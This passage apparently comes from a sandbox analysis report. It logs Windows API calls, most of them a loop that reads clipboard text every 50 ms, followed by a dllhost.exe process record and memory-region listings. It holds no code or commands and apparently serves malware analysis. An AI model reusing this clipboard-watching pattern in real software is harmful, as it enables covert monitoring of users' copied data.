[0280.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x271e270, dwHighDateTime=0x1d96e13))
[0280.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0280.993] GetClipboardData (uFormat=0x1) returned 0x0
[0280.994] CloseClipboard () returned 1
[0280.994] Sleep (dwMilliseconds=0x32)
[0281.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x27444cf, dwHighDateTime=0x1d96e13))
[0281.008] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.008] GetClipboardData (uFormat=0x1) returned 0x0
[0281.008] CloseClipboard () returned 1
[0281.008] Sleep (dwMilliseconds=0x32)
[0281.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x276a729, dwHighDateTime=0x1d96e13))
[0281.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.023] GetClipboardData (uFormat=0x1) returned 0x0
[0281.023] CloseClipboard () returned 1
[0281.023] Sleep (dwMilliseconds=0x32)
[0281.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2790989, dwHighDateTime=0x1d96e13))
[0281.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.040] GetClipboardData (uFormat=0x1) returned 0x0
[0281.040] CloseClipboard () returned 1
[0281.040] Sleep (dwMilliseconds=0x32)
[0281.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x27b6bd4, dwHighDateTime=0x1d96e13))
[0281.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.054] GetClipboardData (uFormat=0x1) returned 0x0
[0281.054] CloseClipboard () returned 1
[0281.054] Sleep (dwMilliseconds=0x32)
[0281.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x27dce33, dwHighDateTime=0x1d96e13))
[0281.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.071] GetClipboardData (uFormat=0x1) returned 0x0
[0281.072] CloseClipboard () returned 1
[0281.072] Sleep (dwMilliseconds=0x32)
[0281.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x280308f, dwHighDateTime=0x1d96e13))
[0281.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.086] GetClipboardData (uFormat=0x1) returned 0x0
[0281.086] CloseClipboard () returned 1
[0281.086] Sleep (dwMilliseconds=0x32)
[0281.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x28292ec, dwHighDateTime=0x1d96e13))
[0281.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.102] GetClipboardData (uFormat=0x1) returned 0x0
[0281.102] CloseClipboard () returned 1
[0281.102] Sleep (dwMilliseconds=0x32)
[0281.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x284f545, dwHighDateTime=0x1d96e13))
[0281.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.118] GetClipboardData (uFormat=0x1) returned 0x0
[0281.118] CloseClipboard () returned 1
[0281.118] Sleep (dwMilliseconds=0x32)
[0281.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x28757a0, dwHighDateTime=0x1d96e13))
[0281.133] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.133] GetClipboardData (uFormat=0x1) returned 0x0
[0281.133] CloseClipboard () returned 1
[0281.133] Sleep (dwMilliseconds=0x32)
[0281.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x289b9f7, dwHighDateTime=0x1d96e13))
[0281.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.148] GetClipboardData (uFormat=0x1) returned 0x0
[0281.148] CloseClipboard () returned 1
[0281.148] Sleep (dwMilliseconds=0x32)
[0281.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x28c1c53, dwHighDateTime=0x1d96e13))
[0281.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.165] GetClipboardData (uFormat=0x1) returned 0x0
[0281.165] CloseClipboard () returned 1
[0281.165] Sleep (dwMilliseconds=0x32)
[0281.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x28e7eab, dwHighDateTime=0x1d96e13))
[0281.180] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.180] GetClipboardData (uFormat=0x1) returned 0x0
[0281.180] CloseClipboard () returned 1
[0281.180] Sleep (dwMilliseconds=0x32)
[0281.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x290e102, dwHighDateTime=0x1d96e13))
[0281.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.196] GetClipboardData (uFormat=0x1) returned 0x0
[0281.196] CloseClipboard () returned 1
[0281.197] Sleep (dwMilliseconds=0x32)
[0281.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2934371, dwHighDateTime=0x1d96e13))
[0281.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.211] GetClipboardData (uFormat=0x1) returned 0x0
[0281.211] CloseClipboard () returned 1
[0281.211] Sleep (dwMilliseconds=0x32)
[0281.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x295a5bc, dwHighDateTime=0x1d96e13))
[0281.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.226] GetClipboardData (uFormat=0x1) returned 0x0
[0281.226] CloseClipboard () returned 1
[0281.226] Sleep (dwMilliseconds=0x32)
[0281.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2980811, dwHighDateTime=0x1d96e13))
[0281.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.243] GetClipboardData (uFormat=0x1) returned 0x0
[0281.243] CloseClipboard () returned 1
[0281.243] Sleep (dwMilliseconds=0x32)
[0281.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x29a6a68, dwHighDateTime=0x1d96e13))
[0281.257] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.257] GetClipboardData (uFormat=0x1) returned 0x0
[0281.258] CloseClipboard () returned 1
[0281.258] Sleep (dwMilliseconds=0x32)
[0281.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x29ccccc, dwHighDateTime=0x1d96e13))
[0281.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.273] GetClipboardData (uFormat=0x1) returned 0x0
[0281.274] CloseClipboard () returned 1
[0281.274] Sleep (dwMilliseconds=0x32)
[0281.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x29f2f1d, dwHighDateTime=0x1d96e13))
[0281.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.290] GetClipboardData (uFormat=0x1) returned 0x0
[0281.290] CloseClipboard () returned 1
[0281.290] Sleep (dwMilliseconds=0x32)
[0281.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2a19180, dwHighDateTime=0x1d96e13))
[0281.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.304] GetClipboardData (uFormat=0x1) returned 0x0
[0281.304] CloseClipboard () returned 1
[0281.305] Sleep (dwMilliseconds=0x32)
[0281.322] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2a3f3de, dwHighDateTime=0x1d96e13))
[0281.322] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.322] GetClipboardData (uFormat=0x1) returned 0x0
[0281.322] CloseClipboard () returned 1
[0281.322] Sleep (dwMilliseconds=0x32)
[0281.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2a65638, dwHighDateTime=0x1d96e13))
[0281.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.336] GetClipboardData (uFormat=0x1) returned 0x0
[0281.336] CloseClipboard () returned 1
[0281.336] Sleep (dwMilliseconds=0x32)
[0281.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2a8b88b, dwHighDateTime=0x1d96e13))
[0281.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.351] GetClipboardData (uFormat=0x1) returned 0x0
[0281.351] CloseClipboard () returned 1
[0281.351] Sleep (dwMilliseconds=0x32)
[0281.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2ab1ae1, dwHighDateTime=0x1d96e13))
[0281.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.368] GetClipboardData (uFormat=0x1) returned 0x0
[0281.368] CloseClipboard () returned 1
[0281.369] Sleep (dwMilliseconds=0x32)
[0281.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2ad7d39, dwHighDateTime=0x1d96e13))
[0281.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.383] GetClipboardData (uFormat=0x1) returned 0x0
[0281.383] CloseClipboard () returned 1
[0281.383] Sleep (dwMilliseconds=0x32)
[0281.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2afdf9f, dwHighDateTime=0x1d96e13))
[0281.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.398] GetClipboardData (uFormat=0x1) returned 0x0
[0281.398] CloseClipboard () returned 1
[0281.398] Sleep (dwMilliseconds=0x32)
[0281.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2b241ed, dwHighDateTime=0x1d96e13))
[0281.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.415] GetClipboardData (uFormat=0x1) returned 0x0
[0281.415] CloseClipboard () returned 1
[0281.415] Sleep (dwMilliseconds=0x32)
[0281.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2b968c6, dwHighDateTime=0x1d96e13))
[0281.462] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.462] GetClipboardData (uFormat=0x1) returned 0x0
[0281.462] CloseClipboard () returned 1
[0281.462] Sleep (dwMilliseconds=0x32)
[0281.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2bbcb61, dwHighDateTime=0x1d96e13))
[0281.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.476] GetClipboardData (uFormat=0x1) returned 0x0
[0281.476] CloseClipboard () returned 1
[0281.476] Sleep (dwMilliseconds=0x32)
[0281.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2be2dad, dwHighDateTime=0x1d96e13))
[0281.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.493] GetClipboardData (uFormat=0x1) returned 0x0
[0281.494] CloseClipboard () returned 1
[0281.494] Sleep (dwMilliseconds=0x32)
[0281.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2c0900f, dwHighDateTime=0x1d96e13))
[0281.508] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.508] GetClipboardData (uFormat=0x1) returned 0x0
[0281.508] CloseClipboard () returned 1
[0281.508] Sleep (dwMilliseconds=0x32)
[0281.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2c2f26e, dwHighDateTime=0x1d96e13))
[0281.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.523] GetClipboardData (uFormat=0x1) returned 0x0
[0281.523] CloseClipboard () returned 1
[0281.523] Sleep (dwMilliseconds=0x32)
[0281.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2c554cc, dwHighDateTime=0x1d96e13))
[0281.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.540] GetClipboardData (uFormat=0x1) returned 0x0
[0281.540] CloseClipboard () returned 1
[0281.540] Sleep (dwMilliseconds=0x32)
[0281.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2c7b71a, dwHighDateTime=0x1d96e13))
[0281.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.554] GetClipboardData (uFormat=0x1) returned 0x0
[0281.554] CloseClipboard () returned 1
[0281.554] Sleep (dwMilliseconds=0x32)
[0281.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2ca1972, dwHighDateTime=0x1d96e13))
[0281.572] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.572] GetClipboardData (uFormat=0x1) returned 0x0
[0281.572] CloseClipboard () returned 1
[0281.572] Sleep (dwMilliseconds=0x32)
[0281.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2cc7bd3, dwHighDateTime=0x1d96e13))
[0281.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.586] GetClipboardData (uFormat=0x1) returned 0x0
[0281.586] CloseClipboard () returned 1
[0281.586] Sleep (dwMilliseconds=0x32)
[0281.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2cede2f, dwHighDateTime=0x1d96e13))
[0281.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.601] GetClipboardData (uFormat=0x1) returned 0x0
[0281.602] CloseClipboard () returned 1
[0281.602] Sleep (dwMilliseconds=0x32)
[0281.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2d1b435, dwHighDateTime=0x1d96e13))
[0281.622] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.622] GetClipboardData (uFormat=0x1) returned 0x0
[0281.622] CloseClipboard () returned 1
[0281.622] Sleep (dwMilliseconds=0x32)
[0281.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2d3a2e0, dwHighDateTime=0x1d96e13))
[0281.636] OpenClipboard (hWndNewOwner=0x0) returned 1
[0281.636] GetClipboardData (uFormat=0x1) returned 0x0
[0281.636] CloseClipboard () returned 1
[0281.636] Sleep (dwMilliseconds=0x32)
[0281.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2d60547, dwHighDateTime=0x1d96e13))
[0281.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0282.100] GetClipboardData (uFormat=0x1) returned 0x0
[0282.101] CloseClipboard () returned 1
[0282.101] Sleep (dwMilliseconds=0x32)
[0282.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x31d8bf1, dwHighDateTime=0x1d96e13))
[0282.121] OpenClipboard (hWndNewOwner=0x0) returned 1
[0282.121] GetClipboardData (uFormat=0x1) returned 0x0
[0282.121] CloseClipboard () returned 1
[0282.121] Sleep (dwMilliseconds=0x32)
[0282.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x31fefa7, dwHighDateTime=0x1d96e13))
[0282.133] OpenClipboard (hWndNewOwner=0x0) returned 1
[0282.133] GetClipboardData (uFormat=0x1) returned 0x0
[0282.133] CloseClipboard () returned 1
[0282.133] Sleep (dwMilliseconds=0x32)
[0282.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x32250ae, dwHighDateTime=0x1d96e13))
[0282.149] OpenClipboard (hWndNewOwner=0x0) returned 1
[0282.150] GetClipboardData (uFormat=0x1) returned 0x0
[0282.150] CloseClipboard () returned 1
[0282.150] Sleep (dwMilliseconds=0x32)
[0282.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x324b2fc, dwHighDateTime=0x1d96e13))
[0282.164] OpenClipboard (hWndNewOwner=0x0) returned 1
[0282.164] GetClipboardData (uFormat=0x1) returned 0x0
[0282.164] CloseClipboard () returned 1
[0282.164] Sleep (dwMilliseconds=0x32)
Thread:
id = 175
os_tid = 0x798
Thread:
id = 176
os_tid = 0xac4
[0212.386] GetCurrentProcess () returned 0xffffffff
[0212.387] GetCurrentProcess () returned 0xffffffff
[0212.387] GetCurrentProcess () returned 0xffffffff
[0212.389] GetCurrentProcess () returned 0xffffffff
[0212.390] GetCurrentProcess () returned 0xffffffff
[0212.402] GetCurrentProcess () returned 0xffffffff
[0212.773] GetCurrentProcess () returned 0xffffffff
[0212.840] GetCurrentProcess () returned 0xffffffff
[0212.841] GetCurrentProcess () returned 0xffffffff
[0212.842] GetCurrentProcess () returned 0xffffffff
[0212.843] GetCurrentProcess () returned 0xffffffff
[0212.844] GetCurrentProcess () returned 0xffffffff
[0212.844] GetCurrentProcess () returned 0xffffffff
Thread:
id = 177
os_tid = 0x2f8
[0212.774] GetCurrentProcess () returned 0xffffffff
[0212.775] GetCurrentProcess () returned 0xffffffff
[0212.777] GetCurrentProcess () returned 0xffffffff
[0212.778] GetCurrentProcess () returned 0xffffffff
[0212.779] GetCurrentProcess () returned 0xffffffff
[0212.779] GetCurrentProcess () returned 0xffffffff
[0212.781] GetCurrentProcess () returned 0xffffffff
[0212.783] GetCurrentProcess () returned 0xffffffff
[0212.789] GetCurrentProcess () returned 0xffffffff
[0212.790] GetCurrentProcess () returned 0xffffffff
[0212.821] GetCurrentProcess () returned 0xffffffff
[0212.821] GetCurrentProcess () returned 0xffffffff
[0212.822] GetCurrentProcess () returned 0xffffffff
[0212.824] GetCurrentProcess () returned 0xffffffff
[0212.825] GetCurrentProcess () returned 0xffffffff
[0212.831] GetCurrentProcess () returned 0xffffffff
[0212.831] GetCurrentProcess () returned 0xffffffff
[0212.836] GetCurrentProcess () returned 0xffffffff
[0212.836] GetCurrentProcess () returned 0xffffffff
[0212.852] GetCurrentProcess () returned 0xffffffff
[0212.853] GetCurrentProcess () returned 0xffffffff
[0212.943] GetCurrentProcess () returned 0xffffffff
[0212.944] GetCurrentProcess () returned 0xffffffff
[0212.944] GetCurrentProcess () returned 0xffffffff
[0212.955] GetCurrentProcess () returned 0xffffffff
[0212.957] GetCurrentProcess () returned 0xffffffff
[0213.015] GetCurrentProcess () returned 0xffffffff
[0213.015] GetCurrentProcess () returned 0xffffffff
[0213.027] GetCurrentProcess () returned 0xffffffff
[0213.029] GetCurrentProcess () returned 0xffffffff
[0213.051] GetCurrentProcess () returned 0xffffffff
[0213.052] GetCurrentProcess () returned 0xffffffff
[0213.054] GetCurrentProcess () returned 0xffffffff
[0213.055] GetCurrentProcess () returned 0xffffffff
[0213.056] GetCurrentProcess () returned 0xffffffff
[0213.056] GetCurrentProcess () returned 0xffffffff
[0213.062] GetCurrentProcess () returned 0xffffffff
[0213.063] GetCurrentProcess () returned 0xffffffff
[0213.065] GetCurrentProcess () returned 0xffffffff
[0213.066] GetCurrentProcess () returned 0xffffffff
[0213.074] GetCurrentProcess () returned 0xffffffff
[0213.075] GetCurrentProcess () returned 0xffffffff
[0213.076] GetCurrentProcess () returned 0xffffffff
[0213.077] GetCurrentProcess () returned 0xffffffff
[0213.133] GetCurrentProcess () returned 0xffffffff
[0213.134] GetCurrentProcess () returned 0xffffffff
[0213.156] GetCurrentProcess () returned 0xffffffff
[0213.157] GetCurrentProcess () returned 0xffffffff
[0213.191] GetCurrentProcess () returned 0xffffffff
[0213.192] GetCurrentProcess () returned 0xffffffff
[0213.193] GetCurrentProcess () returned 0xffffffff
[0213.194] GetCurrentProcess () returned 0xffffffff
[0213.195] GetCurrentProcess () returned 0xffffffff
[0213.200] GetCurrentProcess () returned 0xffffffff
[0213.201] GetCurrentProcess () returned 0xffffffff
[0213.201] GetCurrentProcess () returned 0xffffffff
[0213.202] GetCurrentProcess () returned 0xffffffff
[0213.342] GetCurrentProcess () returned 0xffffffff
[0213.342] GetCurrentProcess () returned 0xffffffff
[0213.364] GetCurrentProcess () returned 0xffffffff
[0213.365] GetCurrentProcess () returned 0xffffffff
[0213.379] GetCurrentProcess () returned 0xffffffff
[0213.380] GetCurrentProcess () returned 0xffffffff
[0213.451] GetCurrentProcess () returned 0xffffffff
[0213.451] GetCurrentProcess () returned 0xffffffff
[0213.486] GetCurrentProcess () returned 0xffffffff
[0213.487] GetCurrentProcess () returned 0xffffffff
Thread:
id = 178
os_tid = 0x304
Thread:
id = 179
os_tid = 0x408
Thread:
id = 180
os_tid = 0x3ac
Thread:
id = 189
os_tid = 0x40c
Process:
id = "15"
image_name = "dllhost.exe"
filename = "c:\\windows\\system32\\dllhost.exe"
page_root = "0x78c4a000"
os_pid = "0x9d4"
os_integrity_level = "0x2000"
os_privileges = "0x800000"
monitor_reason = "rpc_server"
parent_id = "14"
os_parent_pid = "0x26c"
cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}"
cur_dir = "C:\\Windows\\system32\\"
os_username = "XC64ZB\\RDhJ0CNFevzX"
bitness = "32"
os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011932" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 2805
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 2806
start_va = 0xcdeeac0000
end_va = 0xcdeebbffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000cdeeac0000"
filename = ""
Region:
id = 2807
start_va = 0xcdeec00000
end_va = 0xcdeedfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000cdeec00000"
filename = ""
Region:
id = 2808
start_va = 0xcdeee00000
end_va = 0xcdeeefffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000cdeee00000"
filename = ""
Region:
id = 2809
start_va = 0xcdeef00000
end_va = 0xcdeeffffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000cdeef00000"
filename = ""
Region:
id = 2810
start_va = 0xcdef000000
end_va = 0xcdef0fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000cdef000000"
filename = ""
Region:
id = 2811
start_va = 0xcdef100000
end_va = 0xcdef1fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000cdef100000"
filename = ""
Region:
id = 2812
start_va = 0xcdef200000
end_va = 0xcdef2fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000cdef200000"
filename = ""
Region:
id = 2813
start_va = 0xcdef400000
end_va = 0xcdef4fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000cdef400000"
filename = ""
Region:
id = 2814
start_va = 0xcdef500000
end_va = 0xcdef5fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000cdef500000"
filename = ""
Region:
id = 2815
start_va = 0x23435fb0000
end_va = 0x23435fbffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000023435fb0000"
filename = ""
Region:
id = 2816
start_va = 0x23435fc0000
end_va = 0x23435fc6fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023435fc0000"
filename = ""
Region:
id = 2817
start_va = 0x23435fd0000
end_va = 0x23435fe4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000023435fd0000"
filename = ""
Region:
id = 2818
start_va = 0x23435ff0000
end_va = 0x23435ff3fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000023435ff0000"
filename = ""
Region:
id = 2819
start_va = 0x23436000000
end_va = 0x23436001fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023436000000"
filename = ""
Region:
id = 2820
start_va = 0x23436010000
end_va = 0x234360cdfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 2821
start_va = 0x234360d0000
end_va = 0x234360d0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000234360d0000"
filename = ""
Region:
id = 2822
start_va = 0x234360e0000
end_va = 0x234360e6fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000234360e0000"
filename = ""
Region:
id = 2823
start_va = 0x234360f0000
end_va = 0x234360f0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000234360f0000"
filename = ""
Region:
id = 2824
start_va = 0x23436100000
end_va = 0x23436100fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023436100000"
filename = ""
Region:
id = 2825
start_va = 0x23436110000
end_va = 0x23436110fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023436110000"
filename = ""
Region:
id = 2826
start_va = 0x23436120000
end_va = 0x23436120fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000023436120000"
filename = ""
Region:
id = 2827
start_va = 0x23436130000
end_va = 0x23436130fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023436130000"
filename = ""
Region:
id = 2828
start_va = 0x23436140000
end_va = 0x23436140fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023436140000"
filename = ""
Region:
id = 2829
start_va = 0x23436150000
end_va = 0x23436157fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023436150000"
filename = ""
Region:
id = 2830
start_va = 0x23436160000
end_va = 0x23436160fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023436160000"
filename = ""
Region:
id = 2831
start_va = 0x23436170000
end_va = 0x2343617ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023436170000"
filename = ""
Region:
id = 2832
start_va = 0x23436180000
end_va = 0x23436180fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023436180000"
filename = ""
Region:
id = 2833
start_va = 0x23436190000
end_va = 0x23436193fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023436190000"
filename = ""
Region:
id = 2834
start_va = 0x234361a0000
end_va = 0x2343629ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000234361a0000"
filename = ""
Region:
id = 2835
start_va = 0x234362a0000
end_va = 0x2343639ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000234362a0000"
filename = ""
Region:
id = 2836
start_va = 0x234363a0000
end_va = 0x234363affff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
